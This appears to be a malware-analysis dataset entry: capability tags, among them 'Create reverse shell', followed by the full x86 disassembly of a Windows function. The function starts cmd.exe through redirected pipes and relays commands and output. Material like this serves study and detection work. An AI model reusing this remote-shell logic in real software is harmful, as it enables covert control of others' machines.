Function at 0x404da0
Capabilities:
Check for time delay via gettickcount
Create a process with modified i/o handles and window
Create pipe
Create process on windows
Create reverse shell
Create two anonymous pipes
Execute shell command and capture output
Get common file path
Read file on windows
Read pipe
Terminate process
Write and execute a file
Write file on windows
Write pipe

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x416b4e
mov eax, dword fs:[0]
push eax
sub esp, 0x4e0
mov eax, dword [0x41e028]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xor esi, esi
mov dword [ebp - 0x450], esi
mov dword [ebp - 0x454], esi
mov dword [ebp - 0x458], esi
mov dword [ebp - 4], esi
mov dword [ebp - 0x438], esi
mov dword [ebp - 0x448], esi
mov dword [ebp - 0x43c], esi
mov dword [ebp - 0x440], esi
mov dword [ebp - 0x444], esi
mov dword [ebp - 0x478], esi
mov dword [ebp - 0x47c], esi
mov dword [ebp - 0x480], esi
mov dword [ebp - 0x48c], esi
mov byte [ebp - 4], 3
push 0x2802
mov dword [ebp - 0x490], esi
mov dword [ebp - 0x494], esi
call fcn.00409507
mov edi, eax
add esp, 4
mov dword [ebp - 0x44c], edi
mov dword [ebp - 0x494], edi
cmp edi, esi
je 0x404e63
push 0x2802
push esi
push edi
mov dword [ebp - 0x490], 0x2802
call fcn.0040e850
add esp, 0xc
push 0x1401
mov dword [ebp - 0x47c], esi
mov dword [ebp - 0x480], esi
call fcn.00409507
mov ebx, eax
add esp, 4
mov dword [ebp - 0x460], ebx
mov dword [ebp - 0x480], ebx
cmp ebx, esi
je 0x404ea7
push 0x1401
push esi
push ebx
mov dword [ebp - 0x47c], 0x1401
call fcn.0040e850
add esp, 0xc
cmp edi, esi
jne 0x404ebd
mov byte [ebp - 4], 1
cmp ebx, esi
je 0x4057bf
push ebx
jmp 0x4057b7
mov edi, dword [ebp + 8]
push 0x2710
lea eax, [ebp - 0x448]
push eax
lea ecx, [ebp - 0x438]
push ecx
lea edx, [ebp - 0x458]
push edx
push edi
call fcn.00406640
test eax, eax
jne 0x405781
mov eax, dword [ebp - 0x438]
cmp eax, 1
jb 0x405781
cmp dword [ebp - 0x448], esi
jne 0x405781
mov ecx, dword [ebp - 0x458]
mov word [ecx + eax - 2], 0
xor eax, eax
push 0x41bcde
push esi
mov dword [ebp - 0x430], esi
mov dword [ebp - 0x424], esi
mov dword [ebp - 0x434], esi
mov dword [ebp - 0x428], esi
mov dword [ebp - 0x474], esi
mov dword [ebp - 0x470], eax
mov dword [ebp - 0x46c], eax
call fcn.0040a7c3
mov ebx, dword [sym.imp.KERNEL32.dll_CreatePipe]
add esp, 8
push esi
lea ecx, [ebp - 0x474]
push ecx
lea edx, [ebp - 0x424]
push edx
lea eax, [ebp - 0x434]
push eax
mov dword [ebp - 0x474], 0xc
mov dword [ebp - 0x46c], 1
mov dword [ebp - 0x470], esi
call ebx
test eax, eax
jne 0x404f9d
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push edi
xor ebx, ebx
call fcn.00404cb0
add esp, 8
jmp 0x405529
push esi
lea ecx, [ebp - 0x474]
push ecx
lea edx, [ebp - 0x430]
push edx
lea eax, [ebp - 0x428]
push eax
call ebx
test eax, eax
je 0x404f86
xor eax, eax
lea ecx, [ebp - 0x4ec]
push ecx
mov dword [ebp - 0x4a4], esi
mov dword [ebp - 0x4a0], eax
mov dword [ebp - 0x49c], eax
mov dword [ebp - 0x498], eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoW]
mov edx, dword [ebp - 0x434]
mov eax, dword [ebp - 0x430]
push 0x3fe
mov dword [ebp - 0x4b4], edx
mov dword [ebp - 0x4b0], eax
mov dword [ebp - 0x4ac], eax
lea edx, [ebp - 0x412]
xor eax, eax
xor ecx, ecx
push esi
push edx
mov dword [ebp - 0x4ec], 0x44
mov dword [ebp - 0x4c0], 0x101
mov word [ebp - 0x4bc], ax
mov word [ebp - 0x414], cx
call fcn.0040e850
add esp, 0xc
push 0x1ff
lea eax, [ebp - 0x414]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
test eax, eax
jne 0x405067
push str.c:windows_system32_
lea ecx, [ebp - 0x414]
push 0x200
push ecx
call fcn.0040a937
jmp 0x4050a0
lea eax, [ebp - 0x414]
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, si
jne 0x405070
sub eax, edx
sar eax, 1
cmp word [ebp + eax*2 - 0x416], 0x5c
je 0x4050a3
push 0x41bcb8
lea edx, [ebp - 0x414]
push 0x200
push edx
call fcn.00409b87
add esp, 0xc
push str.cmd.exe
lea eax, [ebp - 0x414]
push 0x200
push eax
call fcn.00409b87
add esp, 0xc
lea ecx, [ebp - 0x4a4]
push ecx
lea edx, [ebp - 0x4ec]
push edx
push esi
push esi
push esi
push 1
push esi
push esi
push esi
lea eax, [ebp - 0x414]
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x404f86
mov ecx, dword [ebp - 0x4a4]
mov dword [ebp - 0x464], ecx
mov dword [ebp - 0x488], esi
mov dword [ebp - 0x42c], esi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [ebp - 0x45c], eax
mov eax, dword [ebp - 0x458]
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, si
jne 0x405114
sub eax, edx
sar eax, 1
lea edi, [eax + 2]
lea esi, [ebp - 0x444]
call fcn.00401760
mov edx, dword [ebp - 0x458]
mov esi, eax
mov eax, edx
lea edi, [eax + 2]
mov edi, edi
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x405140
sub eax, edi
sar eax, 1
mov edi, eax
mov eax, edx
lea ebx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x405156
sub eax, ebx
sar eax, 1
inc edi
mov ebx, eax
test esi, esi
je 0x405182
test edi, edi
je 0x405182
push edi
push 0
push esi
call fcn.0040e850
mov edx, dword [ebp - 0x458]
add esp, 0xc
push 0
push 0
push edi
push esi
push ebx
push edx
push 0
push 1
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov eax, esi
lea ecx, [eax + 1]
lea esp, [esp]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x4051a0
push 0
lea edx, [ebp - 0x488]
push edx
sub eax, ecx
push eax
mov eax, dword [ebp - 0x424]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov ecx, dword [ebp - 0x424]
push ecx
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
mov ebx, dword [ebp - 0x444]
jmp 0x4051e0
xor eax, eax
mov dword [ebp - 0x468], eax
mov dword [ebp - 0x484], eax
mov dword [ebp - 0x42c], eax
mov edi, dword [ebp - 0x460]
push 0x1401
push 0
push edi
call fcn.0040e850
add esp, 0xc
lea edx, [ebp - 0x484]
push edx
mov edx, dword [ebp - 0x428]
lea eax, [ebp - 0x468]
push eax
lea ecx, [ebp - 0x42c]
push ecx
push 0x1401
push edi
push edx
call dword [sym.imp.KERNEL32.dll_PeekNamedPipe]
test eax, eax
je 0x4052cd
cmp dword [ebp - 0x42c], 0
je 0x4052cd
mov ecx, dword [ebp - 0x428]
push 0
lea eax, [ebp - 0x42c]
push eax
push 0x1401
push edi
push ecx
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x40555c
mov eax, edi
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x405270
mov esi, dword [ebp - 0x44c]
push 0x2802
sub eax, ecx
push 0
push esi
mov ebx, eax
call fcn.0040e850
add esp, 0xc
push 0x1401
push esi
push ebx
push edi
push 0
push 1
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov edx, dword [ebp + 8]
push 0
push edx
mov ebx, esi
call fcn.00404cb0
add esp, 8
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push 0x64
mov dword [ebp - 0x45c], eax
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ebx, dword [ebp - 0x444]
mov eax, dword [ebp - 0x468]
sub eax, dword [ebp - 0x42c]
jne 0x4051f4
mov ecx, dword [ebp - 0x464]
push 1
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
jne 0x405600
push 0x3e8
lea edx, [ebp - 0x448]
push edx
mov edx, dword [ebp + 8]
lea eax, [ebp - 0x438]
push eax
lea ecx, [ebp - 0x458]
push ecx
push edx
call fcn.00406640
test eax, eax
jne 0x405480
cmp dword [ebp - 0x448], eax
jne 0x40563b
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [ebp - 0x45c], eax
mov eax, dword [ebp - 0x438]
cmp eax, 1
jb 0x40548f
mov ecx, dword [ebp - 0x458]
mov word [ecx + eax - 2], 0
mov eax, ecx
lea edx, [eax + 2]
lea ecx, [ecx]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x405360
sub eax, edx
sar eax, 1
lea esi, [eax + 1]
xor edi, edi
cmp esi, edi
jg 0x405395
cmp ebx, edi
je 0x405385
push ebx
call fcn.00409587
add esp, 4
xor ebx, ebx
mov dword [ebp - 0x440], edi
mov dword [ebp - 0x444], ebx
jmp 0x4053e1
cmp esi, dword [ebp - 0x440]
jg 0x4053a2
push esi
push edi
push ebx
jmp 0x4053d9
cmp ebx, edi
je 0x4053af
push ebx
call fcn.00409587
add esp, 4
push esi
mov dword [ebp - 0x440], edi
mov dword [ebp - 0x444], edi
call fcn.00409507
add esp, 4
mov ebx, eax
mov dword [ebp - 0x444], ebx
cmp eax, edi
je 0x4053e1
push esi
push edi
mov dword [ebp - 0x440], esi
push eax
call fcn.0040e850
add esp, 0xc
mov edx, dword [ebp - 0x458]
mov eax, edx
lea esi, [eax + 2]
lea esp, [esp]
mov cx, word [eax]
add eax, 2
cmp cx, di
jne 0x4053f0
sub eax, esi
sar eax, 1
mov esi, eax
mov eax, edx
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, di
jne 0x405406
sub eax, edx
sar eax, 1
mov edi, eax
test ebx, ebx
je 0x40542b
test esi, esi
je 0x40542b
push esi
push 0
push ebx
call fcn.0040e850
add esp, 0xc
mov eax, dword [ebp - 0x458]
push 0
push 0
push esi
push ebx
push edi
push eax
push 0
push 1
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov eax, ebx
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x405448
push 0
lea ecx, [ebp - 0x42c]
push ecx
sub eax, edx
mov edx, dword [ebp - 0x424]
push eax
push ebx
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x405682
mov eax, dword [ebp - 0x424]
push eax
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
jmp 0x40548f
cmp eax, 1
jne 0x40550f
mov ebx, dword [ebp - 0x444]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [ebp - 0x45c]
cmp eax, 0x927c0
jbe 0x4051e0
xor edi, edi
mov dword [ebp - 0x418], edi
mov byte [ebp - 4], 9
mov ebx, 6
push ebx
mov dword [ebp - 0x41c], edi
mov dword [ebp - 0x420], edi
call fcn.00409507
mov esi, eax
add esp, 4
mov dword [ebp - 0x420], esi
cmp esi, edi
je 0x40550f
push edi
xor eax, eax
mov word [esi + 4], ax
mov eax, dword [ebp + 8]
push esi
push eax
mov dword [esi], 0xffffffff
mov eax, ebx
mov dword [ebp - 0x41c], ebx
call fcn.00406860
push esi
mov byte [ebp - 4], 3
call fcn.00409587
add esp, 4
mov esi, dword [ebp - 0x464]
test esi, esi
je 0x405529
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x430]
mov esi, dword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
test eax, eax
je 0x4056d3
push eax
call esi
mov ecx, dword [ebp - 0x430]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ecx
call edi
xor ebx, ebx
mov dword [ebp - 0x430], ebx
jmp 0x4056db
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
xor eax, eax
mov dword [ebp - 0x418], eax
mov byte [ebp - 4], 4
mov ebx, 6
push ebx
mov dword [ebp - 0x41c], eax
mov dword [ebp - 0x420], eax
call fcn.00409507
mov esi, eax
xor eax, eax
add esp, 4
mov dword [ebp - 0x420], esi
cmp esi, eax
je 0x4055c0
mov ecx, dword [ebp + 8]
push eax
mov word [esi + 4], ax
push esi
push ecx
mov eax, ebx
mov dword [ebp - 0x41c], ebx
mov dword [esi], edi
call fcn.00406860
push esi
mov byte [ebp - 4], 3
call fcn.00409587
add esp, 4
xor eax, eax
mov dword [ebp - 0x418], eax
mov byte [ebp - 4], 5
push ebx
mov dword [ebp - 0x41c], eax
mov dword [ebp - 0x420], eax
call fcn.00409507
mov esi, eax
add esp, 4
mov dword [ebp - 0x420], esi
test esi, esi
je 0x40550f
mov edx, dword [ebp + 8]
xor eax, eax
push eax
push esi
mov word [esi + 4], ax
push edx
jmp 0x4054ef
xor edi, edi
mov dword [ebp - 0x418], edi
mov ebx, 6
mov byte [ebp - 4], bl
push ebx
mov dword [ebp - 0x41c], edi
mov dword [ebp - 0x420], edi
call fcn.00409507
mov esi, eax
add esp, 4
mov dword [ebp - 0x420], esi
cmp esi, edi
je 0x40550f
push edi
jmp 0x4054e4
xor edi, edi
mov dword [ebp - 0x418], edi
mov byte [ebp - 4], 7
mov ebx, 6
push ebx
mov dword [ebp - 0x41c], edi
mov dword [ebp - 0x420], edi
call fcn.00409507
mov esi, eax
add esp, 4
mov dword [ebp - 0x420], esi
cmp esi, edi
je 0x40550f
mov ecx, dword [ebp + 8]
push edi
xor eax, eax
push esi
mov word [esi + 4], ax
push ecx
jmp 0x4054ef
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
xor eax, eax
mov dword [ebp - 0x418], eax
mov byte [ebp - 4], 8
mov ebx, 6
push ebx
mov dword [ebp - 0x41c], eax
mov dword [ebp - 0x420], eax
call fcn.00409507
mov esi, eax
add esp, 4
mov dword [ebp - 0x420], esi
test esi, esi
je 0x40550f
mov edx, dword [ebp + 8]
xor eax, eax
push eax
push esi
mov word [esi + 4], ax
mov dword [esi], edi
push edx
jmp 0x4054f5
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
xor ebx, ebx
mov eax, dword [ebp - 0x434]
cmp eax, ebx
je 0x4056f7
push eax
call esi
mov edx, dword [ebp - 0x434]
push edx
call edi
mov dword [ebp - 0x434], ebx
mov eax, dword [ebp - 0x424]
cmp eax, ebx
je 0x405713
push eax
call esi
mov eax, dword [ebp - 0x424]
push eax
call edi
mov dword [ebp - 0x424], ebx
mov eax, dword [ebp - 0x428]
cmp eax, ebx
je 0x40572f
push eax
call esi
mov ecx, dword [ebp - 0x428]
push ecx
call edi
mov dword [ebp - 0x428], ebx
mov edx, dword [ebp - 0x44c]
push edx
mov byte [ebp - 4], 2
call fcn.00409587
mov eax, dword [ebp - 0x460]
add esp, 4
mov byte [ebp - 4], 1
cmp eax, ebx
je 0x405759
push eax
call fcn.00409587
add esp, 4
mov byte [ebp - 4], 0
mov eax, dword [ebp - 0x444]
cmp eax, ebx
je 0x405770
push eax
call fcn.00409587
add esp, 4
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x458]
cmp eax, ebx
jmp 0x4057b4
mov eax, dword [ebp - 0x44c]
push eax
mov byte [ebp - 4], 2
call fcn.00409587
add esp, 4
mov byte [ebp - 4], 1
cmp ebx, esi
je 0x4057a5
push ebx
call fcn.00409587
add esp, 4
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x458]
cmp eax, esi
je 0x4057bf
push eax
call fcn.00409587
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0040942c
mov esp, ebp
pop ebp
ret